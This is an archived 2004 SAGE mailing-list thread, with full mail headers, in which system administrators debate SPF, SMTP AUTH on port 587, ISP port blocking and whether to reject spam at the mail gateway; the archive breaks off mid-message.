(8.12.10/8.12.10/Submit) id i0V03lpH022728 for sage-members-outgoing; Fri, 30 Jan 2004 16:03:47 -0800 (PST) Received: from vhost109.his.com (vhost109.his.com [216.194.225.101]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0V03jcH022709 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 30 Jan 2004 16:03:46 -0800 (PST) Received: from [10.0.1.2] (localhost.his.com [127.0.0.1]) by vhost109.his.com (8.12.6p3/8.12.3) with ESMTP id i0V03Exi054682; Fri, 30 Jan 2004 19:03:29 -0500 (EST) (envelope-from brad.knowles@skynet.be) Mime-Version: 1.0 X-Sender: bs663385@pop.skynet.be Message-Id: In-Reply-To: <20040130230251.GO79295@bitshift.org> References: <200401301847.i0UIlFt7020871@solabel8.ga.erg.sri.com> <20040130190931.GH79295@bitshift.org> <20040130224208.GA9554@fred.dave.net> <20040130224609.GN79295@bitshift.org> <02BC249D-5377-11D8-B648-000A95DC3176@tuatha.org> <20040130230251.GO79295@bitshift.org> Date: Sat, 31 Jan 2004 00:58:55 +0100 To: "Mark C. Langston" From: Brad Knowles Subject: Re: [SAGE] The sad and spammy state of virus filters Cc: David Good , sage-members@usenix.org Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-sage-members@usenix.org Precedence: bulk At 3:02 PM -0800 2004/01/30, Mark C. Langston wrote: > Many mobile devices require you to use the mobile provider's mailserver, > not the authorized domain mail server, as the relay. And many sites that do that will block the outgoing ports that would allow you to use any other server. So, even if your MUA supports SMTPAUTH, you can't use that feature because you can't talk to the server against which you'd need to authenticate. Dumb idea. Really dumb idea. > I will not ask "how high" just because AOL said "jump". Thank you. Now I just need some time to try to beat some sense into Carl Hutzler (Spam Czar for AOL). -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) From sage-members-owner@usenix.org Fri Jan 30 16:03:54 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0V03rcH022786 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 30 Jan 2004 16:03:54 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0V03rwK022780 for sage-members-outgoing; Fri, 30 Jan 2004 16:03:53 -0800 (PST) Received: from vhost109.his.com (vhost109.his.com [216.194.225.101]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0V03ocH022762 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 30 Jan 2004 16:03:51 -0800 (PST) Received: from [10.0.1.2] (localhost.his.com [127.0.0.1]) by vhost109.his.com (8.12.6p3/8.12.3) with ESMTP id i0V03Exe054682; Fri, 30 Jan 2004 19:03:16 -0500 (EST) (envelope-from brad.knowles@skynet.be) Mime-Version: 1.0 X-Sender: bs663385@pop.skynet.be Message-Id: In-Reply-To: <02BC249D-5377-11D8-B648-000A95DC3176@tuatha.org> References: <200401301847.i0UIlFt7020871@solabel8.ga.erg.sri.com> <20040130190931.GH79295@bitshift.org> <20040130224208.GA9554@fred.dave.net> <20040130224609.GN79295@bitshift.org> <02BC249D-5377-11D8-B648-000A95DC3176@tuatha.org> Date: Sat, 31 Jan 2004 00:53:30 +0100 To: Colm Buckley From: Brad Knowles Subject: Re: [SAGE] The sad and spammy state of virus filters Cc: "Mark C. Langston" , David Good , sage-members@usenix.org Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-sage-members@usenix.org Precedence: bulk At 2:52 PM -0800 2004/01/30, Colm Buckley wrote: > No, SPF allows you to specify which other sources your email can come > from. That, in fact, is the whole point. That's assuming you own the domain, and you can control what SPF records are published in the DNS. Do you own yahoo.com? Maybe you own aol.com? Or perhaps hotmail.com? Didn't think so. -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) From sage-members-owner@usenix.org Fri Jan 30 16:29:37 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0V0TbcH025822 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 30 Jan 2004 16:29:37 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0V0Tbfu025821 for sage-members-outgoing; Fri, 30 Jan 2004 16:29:37 -0800 (PST) Received: from ribbit.roadtoad.net (IDENT:root@ribbit.roadtoad.net [209.209.8.7]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0V0TZcG025814 for ; Fri, 30 Jan 2004 16:29:36 -0800 (PST) Received: from tethys.bitshift.org (c-24-6-19-105.client.comcast.net [24.6.19.105]) by ribbit.roadtoad.net (8.12.9/8.12.2) with ESMTP id i0V0TWiL010653 for ; Fri, 30 Jan 2004 16:29:32 -0800 (PST) Received: by tethys.bitshift.org (Postfix, from userid 1001) id DCF3822887; Fri, 30 Jan 2004 16:29:31 -0800 (PST) Date: Fri, 30 Jan 2004 16:29:31 -0800 From: "Mark C. Langston" To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040131002931.GQ79295@bitshift.org> References: <20955.1075503620@mental.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.1i X-Uptime: 4:19PM up 227 days, 19:29, 11 users, load averages: 0.03, 0.01, 0.00 Sender: owner-sage-members@usenix.org Precedence: bulk On Sat, Jan 31, 2004 at 12:56:48AM +0100, Brad Knowles wrote: > > It's a really, really bad idea. It breaks .forward, it breaks > alias-based mailing lists, and it breaks all forms of legitimate > third-party relay. > Thanks for that. I'd completely forgotten about those issues, because my main gripe's been focused on loss of end-user freedom regarding the use of From:. Re: RFC drafts: I was misremembering. There is an SPF draft: http://spf.pobox.com/draft-mengwong-spf.02.9.4.txt Re: breakage: This handout for the MIT SpamCon sums up the breakage succintly: http://spf.pobox.com/for-mit-spam-conference.html Re: Alternatives: RMX (http://www.ietf.org/internet-drafts/draft-danisch-dns-rr-smtp-03.txt) and DMP (http://www.pan-am.ca/dmp/draft-fecyk-dmp-01.txt) http://spf.pobox.com/objections.html has a good list of SPF objections and answers to same. Some (including myself) are not comfortable with the answers, however. Frex, the answer to "Traveling Mailman" puts the onus on the ISP to add "exists" keys on a per-user basis. Several problems crop up here, including both logistic scalability and parsing issues (and, IIRC, maximum length of and number of TXT records per domain, as well as DNS query answer size). -- Mark C. Langston Sr. Unix SysAdmin mark@bitshift.org mark@seti.org Systems & Network Admin SETI Institute http://bitshift.org http://www.seti.org From sage-members-owner@usenix.org Fri Jan 30 16:54:07 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0V0s6cH027366 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 30 Jan 2004 16:54:07 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0V0s63D027365 for sage-members-outgoing; Fri, 30 Jan 2004 16:54:06 -0800 (PST) Received: from crusoe.degler.net (crusoe.degler.net [66.114.64.229]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0V0s0cH027359 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Fri, 30 Jan 2004 16:54:05 -0800 (PST) Received: from crusoe.degler.net (localhost [127.0.0.1]) by crusoe.degler.net (8.12.9p1/8.12.9) with ESMTP id i0V0rhxR025682 for ; Fri, 30 Jan 2004 19:53:43 -0500 (EST) Received: (from chuck@localhost) by crusoe.degler.net (8.12.9p1/8.12.9) id i0V0rhff017397 for sage-members@usenix.org; Fri, 30 Jan 2004 19:53:43 -0500 (EST) Date: Fri, 30 Jan 2004 19:53:43 -0500 From: Chuck Yerkes To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040131005343.GA17241@snew.com> Reply-To: sage-members@usenix.org References: <200401301847.i0UIlFt7020871@solabel8.ga.erg.sri.com> <20040130190931.GH79295@bitshift.org> <20040130224208.GA9554@fred.dave.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4i X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham version=2.60 X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on crusoe.degler.net Sender: owner-sage-members@usenix.org Precedence: bulk Quoting Brad Knowles (brad.knowles@skynet.be): ... > I need to put up an "SPF Considered Harmful" page. This kind of > crap is going to be the death of e-mail. Here's my take: If a provider puts up some record (TXT is fine) that says from whom you can expect mail from "Example.com" - and if you account for YOUR backup MX hosts which may have mail for you from anyone - then use that to score points in spamassassin (or whatever). It's not certain PROOF of spam. snew.com exists for many people to have a permanent moving address. And I'm not going to relay for them. Many snew.com mails will come from comcast (mom) and the like. The users' ISP. However, if I HAVE "reverse MX" type info out there, then you should/may use it. If I say "HERE are the 7 addresses that you should see "snew.com" mail from, and it comes from russia (as a major blast recently did, damn spammers), then ponder throwing 4-5 points for that. What would I rather see? I'd rather see S/MIME for users. That means cheap/free certs for people. From sage-members-owner@usenix.org Fri Jan 30 17:11:29 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0V1BScH028572 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 30 Jan 2004 17:11:29 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0V1BSdY028571 for sage-members-outgoing; Fri, 30 Jan 2004 17:11:28 -0800 (PST) Received: from crusoe.degler.net (crusoe.degler.net [66.114.64.229]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0V1BQcH028566 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Fri, 30 Jan 2004 17:11:27 -0800 (PST) Received: from crusoe.degler.net (localhost [127.0.0.1]) by crusoe.degler.net (8.12.9p1/8.12.9) with ESMTP id i0V1BAxR005725 for ; Fri, 30 Jan 2004 20:11:10 -0500 (EST) Received: (from chuck@localhost) by crusoe.degler.net (8.12.9p1/8.12.9) id i0V1BA0r021535 for sage-members@usenix.org; Fri, 30 Jan 2004 20:11:10 -0500 (EST) Date: Fri, 30 Jan 2004 20:11:10 -0500 From: Chuck Yerkes To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040131011110.GB17241@snew.com> Reply-To: sage-members@usenix.org References: <200401301847.i0UIlFt7020871@solabel8.ga.erg.sri.com> <20040130190931.GH79295@bitshift.org> <20040130224208.GA9554@fred.dave.net> <20040130224609.GN79295@bitshift.org> <02BC249D-5377-11D8-B648-000A95DC3176@tuatha.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4i X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham version=2.60 X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on crusoe.degler.net Sender: owner-sage-members@usenix.org Precedence: bulk Quoting Brad Knowles (brad.knowles@skynet.be): > At 2:52 PM -0800 2004/01/30, Colm Buckley wrote: > > > No, SPF allows you to specify which other sources your email can come > > from. That, in fact, is the whole point. > > That's assuming you own the domain, and you can control what SPF > records are published in the DNS. > > > Do you own yahoo.com? Maybe you own aol.com? Or perhaps > hotmail.com? > > Didn't think so. No, but I own evilspammer.com... bwaaa haaa haa! Normally I'd post here from that, but Rob is keeping me down :) SMTP AUTH? Sending through your own machine? port 587 jumps to mind. (designed for original mail submission). You can *REQUIRE* AUTH on it (you can't on port 25 - breaks RFCs). Most folks don't BLOCK 587. I used to run a daemon on 2525. If you find a daemon on a high port, typically it might suggest that the person knows what they are doing. How about this? Just us - us smart folks, secretly move mail to port IPv6. Don't tell the spammer. We'll just leave them here in IPv4 land. C'mon. Lets ditch em. From sage-members-owner@usenix.org Fri Jan 30 19:00:21 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0V30KcH001149 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 30 Jan 2004 19:00:21 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0V30KcG001147 for sage-members-outgoing; Fri, 30 Jan 2004 19:00:20 -0800 (PST) Received: from pickwick.garnix.org (pickwick.garnix.org [208.187.215.126]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0V30JcG001142 for ; Fri, 30 Jan 2004 19:00:19 -0800 (PST) Received: by pickwick.garnix.org (Postfix, from userid 8046) id B2CD617FD3; Fri, 30 Jan 2004 19:00:18 -0800 (PST) To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters References: <200401301847.i0UIlFt7020871@solabel8.ga.erg.sri.com> <20040130190931.GH79295@bitshift.org> <20040130224208.GA9554@fred.dave.net> <20040131005343.GA17241@snew.com> From: Darrell Fuhriman Date: Fri, 30 Jan 2004 19:00:18 -0800 In-Reply-To: <20040131005343.GA17241@snew.com> (Chuck Yerkes's message of "Fri, 30 Jan 2004 19:53:43 -0500") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.4 (Honest Recruiter, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-sage-members@usenix.org Precedence: bulk Chuck Yerkes writes: > What would I rather see? I'd rather see S/MIME for users. That > means cheap/free certs for people. It's been said before that the only thing that's going to end spam is a end-to-end authentication. Step 1) create global PKI Step 3) Profit! err.. spam-free life. Darrell From sage-members-owner@usenix.org Sat Jan 31 07:09:01 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0VF91cH024904 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 31 Jan 2004 07:09:01 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0VF915x024903 for sage-members-outgoing; Sat, 31 Jan 2004 07:09:01 -0800 (PST) Received: from vhost109.his.com (vhost109.his.com [216.194.225.101]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0VF8scH024893 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sat, 31 Jan 2004 07:08:55 -0800 (PST) Received: from [10.0.1.2] (localhost.his.com [127.0.0.1]) by vhost109.his.com (8.12.6p3/8.12.3) with ESMTP id i0VF8cxi012046; Sat, 31 Jan 2004 10:08:46 -0500 (EST) (envelope-from brad.knowles@skynet.be) Mime-Version: 1.0 X-Sender: bs663385@pop.skynet.be Message-Id: In-Reply-To: <20040131011110.GB17241@snew.com> References: <200401301847.i0UIlFt7020871@solabel8.ga.erg.sri.com> <20040130190931.GH79295@bitshift.org> <20040130224208.GA9554@fred.dave.net> <20040130224609.GN79295@bitshift.org> <02BC249D-5377-11D8-B648-000A95DC3176@tuatha.org> <20040131011110.GB17241@snew.com> Date: Sat, 31 Jan 2004 15:15:55 +0100 To: sage-members@usenix.org From: Brad Knowles Subject: Re: [SAGE] The sad and spammy state of virus filters Cc: sage-members@usenix.org, Chuck Yerkes Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-sage-members@usenix.org Precedence: bulk At 8:11 PM -0500 2004/01/30, Chuck Yerkes wrote: > SMTP AUTH? Sending through your own machine? port 587 jumps > to mind. (designed for original mail submission). You can *REQUIRE* > AUTH on it (you can't on port 25 - breaks RFCs). True enough. At least, until ISPs decide to start blocking or transparent proxying port 587, too. > Most folks don't BLOCK 587. I used to run a daemon on 2525. > If you find a daemon on a high port, typically it might suggest > that the person knows what they are doing. It might. But then there are plenty of stupid ISPs out there -- witness AOL. -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) From sage-members-owner@usenix.org Sat Jan 31 07:09:09 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0VF99cH024925 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 31 Jan 2004 07:09:09 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0VF986U024922 for sage-members-outgoing; Sat, 31 Jan 2004 07:09:08 -0800 (PST) Received: from vhost109.his.com (vhost109.his.com [216.194.225.101]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0VF8scH024892 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sat, 31 Jan 2004 07:08:55 -0800 (PST) Received: from [10.0.1.2] (localhost.his.com [127.0.0.1]) by vhost109.his.com (8.12.6p3/8.12.3) with ESMTP id i0VF8cxg012046; Sat, 31 Jan 2004 10:08:41 -0500 (EST) (envelope-from brad.knowles@skynet.be) Mime-Version: 1.0 X-Sender: bs663385@pop.skynet.be Message-Id: In-Reply-To: <20040131005343.GA17241@snew.com> References: <200401301847.i0UIlFt7020871@solabel8.ga.erg.sri.com> <20040130190931.GH79295@bitshift.org> <20040130224208.GA9554@fred.dave.net> <20040131005343.GA17241@snew.com> Date: Sat, 31 Jan 2004 15:14:29 +0100 To: sage-members@usenix.org From: Brad Knowles Subject: Re: [SAGE] The sad and spammy state of virus filters Cc: sage-members@usenix.org, Chuck Yerkes Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-sage-members@usenix.org Precedence: bulk At 7:53 PM -0500 2004/01/30, Chuck Yerkes wrote: > Here's my take: > > If a provider puts up some record (TXT is fine) that says from > whom you can expect mail from "Example.com" - and if you account > for YOUR backup MX hosts which may have mail for you from anyone - > then use that to score points in spamassassin (or whatever). > > It's not certain PROOF of spam. Agreed. This kind of information could be used to increase or decrease the score assigned to a message, but no more. There's just too much chance of someone owning their own reverse DNS (an SPF record that allows "*" to send mail for their domain?), or to subvert nameservers so as to better accomplish their goal. You cannot use this as a hard-and-fast white or black list. -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) From sage-members-owner@usenix.org Sat Jan 31 07:16:07 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0VFG7cH025608 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 31 Jan 2004 07:16:07 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0VFG6A4025606 for sage-members-outgoing; Sat, 31 Jan 2004 07:16:06 -0800 (PST) Received: from gris.jeol.com (gris.jeol.com [192.160.103.77]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0VFG4cH025588 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sat, 31 Jan 2004 07:16:05 -0800 (PST) Received: from bosch.jeol.com (bosch.jeol.com [192.160.103.90]) by gris.jeol.com (8.12.6p3/8.12.6) with ESMTP id i0VFG3YS084322 for ; Sat, 31 Jan 2004 10:16:03 -0500 (EST) (envelope-from lambert@jeol.com) Date: Sat, 31 Jan 2004 10:16:03 -0500 (EST) From: Mike Lambert To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters In-Reply-To: <20040131002931.GQ79295@bitshift.org> Message-ID: References: <20955.1075503620@mental.com> <20040131002931.GQ79295@bitshift.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-sage-members@usenix.org Precedence: bulk On Fri, 30 Jan 2004, Mark C. Langston wrote: > On Sat, Jan 31, 2004 at 12:56:48AM +0100, Brad Knowles wrote: > > > > It's a really, really bad idea. It breaks .forward, it breaks > > alias-based mailing lists, and it breaks all forms of legitimate > > third-party relay. > > Thanks for that. I'd completely forgotten about those issues, because > my main gripe's been focused on loss of end-user freedom regarding the > use of From:. While the many much-more-knowledgeable-than-I greybeards of the Internet sing praises of the long gone glory days of email (and the Internet in general) and squabble over how best to preserve what is left, my users demand to not be forced to deal with _hundreds_ of junk email messages, X-Spam tagged or not, each and every day. Until a better email system is implemented, I will use whatever tools are available, SPF included, to 5xx reject at the smtp gateway as much junk email as possible. Mike Lambert From sage-members-owner@usenix.org Sat Jan 31 07:50:40 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0VFodcH026453 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 31 Jan 2004 07:50:40 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0VFodma026452 for sage-members-outgoing; Sat, 31 Jan 2004 07:50:39 -0800 (PST) Received: from ribbit.roadtoad.net (ribbit.roadtoad.net [209.209.8.7]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0VFoccG026447 for ; Sat, 31 Jan 2004 07:50:38 -0800 (PST) Received: from tethys.bitshift.org (c-24-6-19-105.client.comcast.net [24.6.19.105]) by ribbit.roadtoad.net (8.12.9/8.12.2) with ESMTP id i0VFoXiL023139 for ; Sat, 31 Jan 2004 07:50:33 -0800 (PST) Received: by tethys.bitshift.org (Postfix, from userid 1001) id EBEE822887; Sat, 31 Jan 2004 07:50:32 -0800 (PST) Date: Sat, 31 Jan 2004 07:50:32 -0800 From: "Mark C. Langston" To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040131155032.GX79295@bitshift.org> References: <20955.1075503620@mental.com> <20040131002931.GQ79295@bitshift.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.1i X-Uptime: 7:48AM up 228 days, 10:57, 11 users, load averages: 0.01, 0.01, 0.00 Sender: owner-sage-members@usenix.org Precedence: bulk On Sat, Jan 31, 2004 at 10:16:03AM -0500, Mike Lambert wrote: > On Fri, 30 Jan 2004, Mark C. Langston wrote: > > > On Sat, Jan 31, 2004 at 12:56:48AM +0100, Brad Knowles wrote: > > > > > > It's a really, really bad idea. It breaks .forward, it breaks > > > alias-based mailing lists, and it breaks all forms of legitimate > > > third-party relay. > > > > Thanks for that. I'd completely forgotten about those issues, because > > my main gripe's been focused on loss of end-user freedom regarding the > > use of From:. > > While the many much-more-knowledgeable-than-I greybeards of the Internet > sing praises of the long gone glory days of email (and the Internet in > general) and squabble over how best to preserve what is left, my users > demand to not be forced to deal with _hundreds_ of junk email messages, > X-Spam tagged or not, each and every day. Until a better email system is > implemented, I will use whatever tools are available, SPF included, to > 5xx reject at the smtp gateway as much junk email as possible. That's just it; SPF is no proof whatsoever that the incoming mail is junk. If your mail's already tagged, why not just use procmail to shuffle the tagged spam into a mailbox other than the user's inbox? Users often want ponies; they rarely have the ability to care for them. -- Mark C. Langston Sr. Unix SysAdmin mark@bitshift.org mark@seti.org Systems & Network Admin SETI Institute http://bitshift.org http://www.seti.org From sage-members-owner@usenix.org Sat Jan 31 10:06:17 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0VI6GcH028648 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 31 Jan 2004 10:06:17 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0VI6GTd028647 for sage-members-outgoing; Sat, 31 Jan 2004 10:06:16 -0800 (PST) Received: from vhost109.his.com (vhost109.his.com [216.194.225.101]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0VI6EcH028642 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sat, 31 Jan 2004 10:06:15 -0800 (PST) Received: from [10.0.1.2] (localhost.his.com [127.0.0.1]) by vhost109.his.com (8.12.6p3/8.12.3) with ESMTP id i0VI5wxi019373; Sat, 31 Jan 2004 13:06:06 -0500 (EST) (envelope-from brad.knowles@skynet.be) Mime-Version: 1.0 X-Sender: bs663385@pop.skynet.be Message-Id: In-Reply-To: References: <20955.1075503620@mental.com> <20040131002931.GQ79295@bitshift.org> Date: Sat, 31 Jan 2004 19:05:39 +0100 To: Mike Lambert From: Brad Knowles Subject: Re: [SAGE] The sad and spammy state of virus filters Cc: sage-members@usenix.org Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-sage-members@usenix.org Precedence: bulk At 10:16 AM -0500 2004/01/31, Mike Lambert wrote: > Until a better email system is > implemented, I will use whatever tools are available, SPF included, to > 5xx reject at the smtp gateway as much junk email as possible. If you want to cut yourself off from the entire Internet, you should feel free to do so. However, I certainly won't have any sleepless nights over blacklisting you for inappropriate behaviour on the part of your systems. -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) From sage-members-owner@usenix.org Sat Jan 31 10:25:10 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0VIPAcH029260 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 31 Jan 2004 10:25:10 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0VIPAq5029258 for sage-members-outgoing; Sat, 31 Jan 2004 10:25:10 -0800 (PST) Received: from Eng.Auburn.EDU (dns.eng.auburn.edu [131.204.10.13]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0VIP8cG029252 for ; Sat, 31 Jan 2004 10:25:08 -0800 (PST) Received: from goodall.eng.auburn.edu (goodall.eng.auburn.edu [131.204.12.5]) by Eng.Auburn.EDU (8.12.10/8.12.10) with ESMTP id i0VIOs3W005013 for ; Sat, 31 Jan 2004 12:24:55 -0600 (CST) Received: from localhost (doug@localhost) by goodall.eng.auburn.edu (8.9.3+Sun/8.6.4) with ESMTP id MAA09508 for ; Sat, 31 Jan 2004 12:24:52 -0600 (CST) X-Authentication-Warning: goodall.eng.auburn.edu: doug owned process doing -bs Date: Sat, 31 Jan 2004 12:24:52 -0600 (CST) From: Doug Hughes To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Status: No, hits=-25.3 required=5.1 tests=EMAIL_ATTRIBUTION,IN_REP_TO,OPT_IN,QUOTED_EMAIL_TEXT, REPLY_WITH_QUOTES,USER_AGENT_PINE,X_AUTH_WARNING version=2.52 X-Spam-Checker-Version: SpamAssassin 2.52 (1.174.2.8-2003-03-24-exp) Sender: owner-sage-members@usenix.org Precedence: bulk On Sat, 31 Jan 2004, Brad Knowles wrote: > At 10:16 AM -0500 2004/01/31, Mike Lambert wrote: > > > Until a better email system is > > implemented, I will use whatever tools are available, SPF included, to > > 5xx reject at the smtp gateway as much junk email as possible. > > If you want to cut yourself off from the entire Internet, you > should feel free to do so. However, I certainly won't have any > sleepless nights over blacklisting you for inappropriate behaviour on > the part of your systems. > I understand and agree with your point of view, but that's a little bit over the top don't you think? It's very unlikely that he would cut himself off from even a infinitesimally tiny part of the Internet as a result. It's also likely his customers will also thank him for it, and business realities are what they are. I empathize with him too. My customers would probably be very thankful. I've been wrestling with the idea of 